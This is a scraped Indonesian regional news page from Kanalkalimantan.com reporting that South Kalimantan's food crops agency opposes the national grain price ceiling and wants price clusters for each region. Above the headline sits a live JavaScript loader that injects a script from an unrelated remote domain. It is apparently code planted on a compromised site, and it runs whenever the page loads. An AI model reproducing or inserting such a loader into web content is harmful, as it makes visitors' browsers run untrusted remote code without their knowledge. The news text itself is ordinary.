(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Harga Gabah Rp 4.800, Dinas TPH Kalsel Minta Klaster Harga Tiap Daerah


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Pusat melalui Badan Pangan Nasional (Bapanas) resmi menetapkan harga tertinggi gabah untuk wilayah Indonesia.

Bapanas menetapkan harga gabah di petani dari Rp 4.700 hingga Rp 4.800 per kilogram. Hal ini menuai banyak penolakan, salah satunya di Kalimantan Selatan.

Kepala Dinas Tanaman Pangan dan Hortikultura (TPH) Kalsel Syamsir Rahman mengatakan jika harga tukar di petani Rp 4.700, harga tersebut akan merugikan para petani Kalsel yang bercocok tanam di lahan rawa. Dengan harga atas yang ditetapkan Bapanas, petani di Pulau Jawa sangat diuntungkan.

“Di lahan rawa membutuhkan biaya yang tinggi, beda halnya dengan lahan kering seperti Pulau Jawa,” ujarnya.

 

Baca juga: Musala di Gambut Diobrak-abrik, Kaca Pecah hingga Al Qur’an Robek

Di Kalsel ini kata Syamsir, dari segi pengolahan lahan sangat berat baik dari pengawasan, perawatan hingga panen membutuhkan tenaga dan biaya yang ekstra.

Dirinya juga akan bersurat ke pusat agar gabah yang dibeli langsung dari petani tidak disamaratakan, menurutnya harga tersebut harus diatur sesuai wilayah dan daerahnya masing.

Kadis TPH Kalsel, Syamsir Rahman. Foto: ibnu

“Saya mengusulkan patokan harga yang dikeluarkan Bapanas, padi di tingkat petani jangan disama ratakan, harus ada klasternya masing-masing daerah,” ungkapnya.

Penyesuaian klaster harga gabah kering ditingkat petani ini kata Syamsir agar menghindarkan para masyarakat mengkonsumsi beras impor.

Baca juga: Pemkab HSU Beri Penghargaan 131 Pensiunan Guru

Pemprov Kalsel sendiri kata Syamsir, berdasarkan arahan Gubernur Kalsel, Sahbirin Noor, membeli gabah dari petani melalui Badan Usaha Milik Daerah (BUMD) Bangun Banua yang difasilitasi Pemprov Kalsel seharga Rp 6.700 hingga Rp 7.000, yang menjadi pilot project di daerah Barito Kuala.

“Nanti akan pindah lagi ke Tanah Laut, agar memotong rantai para tengkulak yang membeli ke petani,” jelasnya.(Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.